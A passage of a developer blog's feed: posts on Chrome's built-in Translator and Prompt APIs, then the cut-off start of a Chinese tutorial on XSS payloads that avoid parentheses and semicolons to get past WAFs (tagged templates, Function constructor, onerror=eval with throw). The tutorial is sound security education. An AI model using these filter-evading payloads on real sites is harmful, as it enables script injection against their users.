aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>有更多參數可以調整啦，而且可以支援更複雜的對話，上面只是一個很基礎的範例而已。</p><p>儘管模型不大，可以做的事情也沒有其他大模型多，但是在瀏覽器上面放一個可以在本地跑的小模型，已經能分擔掉一部分需要 API key 才能做的事了。</p><p>現在 Chrome 也越來越積極把小模型直接包在裡面，提供更多原生的 AI 功能，而未來開發者也可以運用這些 Web API 直接開發產品，不需要自己準備後端。</p><h2><span id="其他瀏覽器呢">其他瀏覽器呢？</span></h2><p>Translation API 已經隨著 Chrome 138 一起正式發佈，Google 也訂出了相關標準，不過目前 Firefox 跟 Safari 則是還在很早期的階段。</p><p>Firefox 對目前的 API design <a href="https://github.com/mozilla/standards-positions/issues/1015">不太滿意</a>，有提了另一個<a href="https://github.com/mozilla/explainers/blob/main/translation.md">版本</a>。而 Safari 對目前的做法也有一些隱私與資安上的<a href="https://github.com/WebKit/standards-positions/issues/339">考量</a>，看起來還沒什麼進展。</p><p>至於其他更強大的 API 如 Prompt API，Firefox 直接對目前的提案給了個 <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a>，而 Safari <a href="https://github.com/WebKit/standards-positions/issues/495">那邊</a>看起來似乎沒什麼消息。</p><p>因此，這篇所提到的東西目前都只有 Chromium-based 的瀏覽器可以用，如 Chrome 與 Edge。未來其他瀏覽器會不會跟上，還是個未知數。</p><h2><span id="結語">結語</span></h2><p>各種 AI 與現有產品的整合勢在必行，瀏覽器身為使用者會重度使用的應用程式，更是兵家必爭之地。</p><p>例如說 Perplexity 自己推了個 <a href="https://www.perplexity.ai/comet">Comet Browser</a>，而 Chrome 也有越來越多內建的 AI 功能。</p><p>如果 AI 沒騙我的話，目前 Chrome 的 Prompt API 用的是 <a href="https://ai.google.dev/gemma/docs">Gemma</a>，Edge 上的是 <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>。</p><p>當瀏覽器內建的 AI 模型越來越進化，能做的事情就更多了。不過以目前的狀況來看，在本地能跑的模型絕對是很有限的，畢竟能用的資源就那些，效果還是沒有那些大模型來得好，但未來可以持續關注，應該會一直不斷進化。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子有個讀者分享給我他自己做的 Chrome extension：&lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。&lt;/p&gt;
&lt;p&gt;由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。&lt;/p&gt;
&lt;p&gt;算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Chrome&#39;s Built-in Translation and Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:26:31.509Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, a reader shared with me a Chrome extension he created: <a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.</p><p>Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.</p><p>It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.</p><span id="more"></span><h2><span id="chromes-built-in-ai-related-apis">Chrome’s Built-in AI Related APIs</span></h2><p>If you want to watch the official Google video directly, you can refer to this: <a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>. For a text version, you can check this article: <a href="https://developer.chrome.com/docs/ai/built-in-apis">Built-in AI API</a>.</p><p>Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:</p><ol><li>Translator API, for translation</li><li>Language Detector API, for detecting languages</li><li>Summarizer API, for summarizing articles</li></ol><p>These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.</p><p>First, you need to check if it’s available and whether you need to download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.</p><p>Once downloaded, you can translate with just one line of code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>That’s it, super simple.</p><p>However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.</p><h2><span id="prompt-api">Prompt API</span></h2><p>In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: <a href="https://blog.huli.tw/2022/02/02/en/origin-trials-try-new-feature/">Try New Features Early Through Chrome Origin Trials</a>.</p><p>I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.</p><p>Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p>The usage of this API is also super simple. The first step is to check availability and download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ ready'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Once downloaded, you can use it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'What can you do?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.</p><p>Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.</p><p>Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.</p><h2><span id="what-about-other-browsers">What about other browsers?</span></h2><p>The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.</p><p>Firefox is currently <a href="https://github.com/mozilla/standards-positions/issues/1015">not very satisfied</a> with the API design and has proposed another <a href="https://github.com/mozilla/explainers/blob/main/translation.md">version</a>. Safari also has some privacy and security <a href="https://github.com/WebKit/standards-positions/issues/339">considerations</a> regarding the current approach, and it seems there hasn’t been much progress.</p><p>As for other more powerful APIs like the Prompt API, Firefox has given a <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a> response to the current proposal, while there seems to be no news from Safari <a href="https://github.com/WebKit/standards-positions/issues/495">on that front</a>.</p><p>Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.</p><h2><span id="conclusion">Conclusion</span></h2><p>The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.</p><p>For example, Perplexity has launched a <a href="https://www.perplexity.ai/comet">Comet Browser</a>, and Chrome is increasingly incorporating built-in AI features.</p><p>If AI is not misleading me, the current Prompt API in Chrome uses <a href="https://ai.google.dev/gemma/docs">Gemma</a>, while Edge uses <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>.</p><p>As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, a reader shared with me a Chrome extension he created: &lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.&lt;/p&gt;
&lt;p&gt;Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.&lt;/p&gt;
&lt;p&gt;It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>不需要括號跟分號的 XSS</title>
    <link href="https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:40:39.109Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子收到一封讀者來信，問我能不能寫一篇來講解 <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a> 這篇文章，說是這裡面的 payload 看不太懂。</p><p>因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="為什麼我們需要這種-payload">為什麼我們需要這種 payload？</span></h2><p>有些人會想說既然都可以執行 JavaScript 了，幹嘛還要這麼多限制？而最大的原因是：WAF（Web Application Firewall），最常見的就是 Cloudflare 的 WAF，只要有一點風吹草動就把你擋下來，儘管你可以插入 HTML 或甚至執行 JavaScript，但只要含有某些 pattern 就直接把你擋掉。</p><p>再者，有些情境會造成部分字元不可用，這時候就需要發揮創意，想辦法不用這些字元來湊出可以執行的程式碼。</p><h2><span id="先從不需要括號開始">先從不需要括號開始</span></h2><p>在 JavaScript 中似乎要執行函式就一定要括號，那如果不能用括號該怎麼辦呢？</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>第一種方法有些開發者應該用過，但可能一時不會想到。某些 JavaScript 的 library 會用 template strings 來執行函式，如 <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不懂的人乍看之下會想說怎麼這樣寫，難道不是個 SQL injection 漏洞嗎？</p><p>如果只用了 template strings 的話，那確實是，但注意前面多了個 <code>sql</code>，這就不一樣了，就不只是單純的字串拼接，而是函式執行了，是一個 JavaScript 的語法，可以看底下範例：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們在前面加上一個函式時，函式的參數會收到原始字串中固定的部分，以及被插入的變數，就可以直接用這些資訊做 sanitization，來避免 SQL injection，這種用法叫做 tagged templates strings。</p><p>最後達成的效果就是看起來只是字串取代，但背後是函式執行而且有做 sanitization，所以其實是安全的。</p><p>利用這個概念，就可以寫出不需要括號的 XSS payload：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但有些人會問說，這樣的話就只能執行 alert 而已，有沒有辦法執行任意程式碼呢？例如說 fetch 好了，我如果想要 POST 的話，一定要用到第二個參數：<code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>，而上面的方法第二個參數會是個陣列，因此 fetch 會報錯，就跑不動了。</p><p>針對這個問題，我們可以先利用 function constructor，傳入字串來建立一個函式，不熟這個的之後可以去讀：<a href="https://blog.huli.tw/2020/12/01/write-conosle-log-1-without-alphanumeric/">如何不用英文字母與數字寫出 console.log(1)？</a>或是<a href="https://blog.huli.tw/2021/06/07/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS 挑戰解法：限定字元組合程式碼</a>，但我還是先簡單介紹一下。</p><p>在 JavaScript 中，可以用 <code>new Function(code)</code> 來動態建立出一個函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>而那個 new 其實不是必須的，拿掉也無妨。再者，動態建立的函式是可以傳參數的：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最後一個參數會被當作實際的程式碼，前面的都會被當成是函式的參數，並且回傳建立好的函式。</p><p>因此，我們可以利用這點搭配剛剛講的 tagged templates，從字串建立函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>那這個建立出來的函式，要怎麼執行呢？很簡單，再用一次相同作法就好：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 最後多加兩個 ``，就跟前面講過的 alert`1` 用法一樣</span><span class="token comment">// 怕 markdown parser 出錯，多加一個空格，但有沒有都一樣</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>因為裡面的 <code>alert(1)</code> 是字串，所以括號可以直接用 unicode 來取代，這也是合法的字串表示方法，會變成：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 其實就是 alert(1) 啦</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>這樣整個 payload 就沒有用到任何括號，但又能執行任意程式碼了！</p><p>這個做法用到的是執行 template 時的第一個參數，也就是固定的部分，但我們也可以用到後面的參數。舉例來說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們同時傳入固定字串與參數時，第一個參數是所有固定的部分，這個剛提過了，而第二個參數則是我們動態傳入的變數 <code>hello</code>。</p><p>用上面的方法建立函式時，如同剛講過的，最後的參數會被當作 function body：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>因此這個 <code>hello</code> 就是我們可以控制的部分了。因為它是動態傳入的，所以能玩的方法就很多了，可以搭配網站上我們能控制的地方。舉例來說，<code>location.hash</code> 會回傳 URL 上的 hash 如 <code>#test</code>，只要加上 slice(1) 就可以把前面的 # 去掉，結合起來就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 從剛剛講到的這個開始</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 先換成 location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 把 slice(1) 換成 ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 最後再加上 `` 執行函式</span><span class="token comment">// 記得把網站的 hash 弄成 #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>就組出了一個不用括號但卻能執行任意程式碼的 payload，把實際要執行的字串放在 hash，動態去執行 hash 中的程式碼。</p><h3><span id="onerror-事件">onerror 事件</span></h3><p>前面寫這麼多其實還沒進入正題，開頭提的原文發現的是另外一種更巧妙的方法。</p><p>在瀏覽器環境中，利用 <code>window.onerror</code>，可以接收到所有沒有被 catch 的錯誤事件：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>話說上面這段程式碼直接在 DevTools 執行會不起作用（原因在原文有講到，在 console 直接執行時錯誤不會被丟到 onerror），請開一個 HTML 來測。</p><p>總之呢，上面的程式碼告訴我們在 Chrome 上，被捕捉到的錯誤訊息會是 <code>Uncaught hello</code>。</p><p>那如果我們直接把 <code>onerror</code> 換成 <code>alert</code> 呢？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>你就會直接看到一個 <code>Uncaught hello</code> 的 popup。上面的 payload 是沒有用到任何括號的，也達成了執行函式的目的。</p><p>再進一步延伸，就是把 <code>onerror</code> 換成 <code>eval</code>，把錯誤訊息當成 JavaScript 程式碼來執行，但問題是換成 eval 之後，要怎麼湊出合法的程式碼？</p><p>由於被捕捉到的錯誤訊息會是：<code>Uncaught &#123;payload&#125;</code>，這整句會被當成是程式碼來執行，因此只要把 payload 換成：<code>=alert(1)</code>，整句就是：<code>Uncaught=alert(1)</code>，把錯誤訊息中的 <code>Uncaught</code> 當成是變數來用了，如此一來就是合法的程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果還是不知道原理的話，把 eval 換成 console.log 就很清楚了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>再來，由於 throw 後面接的是字串，所以可以跟前面一樣用 encoding 來代替，用 <code>\x28</code> 或是 <code>\u0028</code> 都行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就湊出了一個不需要括號的 payload。</p><h2><span id="再省去分號">再省去分號</span></h2><p>Tagged template strings 已經不需要分號了，因此我們繼續沿著 onerror 這條路走，看看怎麼把分號省掉。</p><p>一個簡單直覺的想法是用逗號就好（為了方便舉例，底下都用 alert 了）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但跑了以後會發現報錯：<code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>，這是因為 throw 不是個 expression 而是 statement，因此不能放在逗號後面，我們需要別的方法。</p><p>在 JavaScript 中就算你沒有用 if 或其他需要區塊的程式碼，也可以自己用區塊把程式碼包起來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span 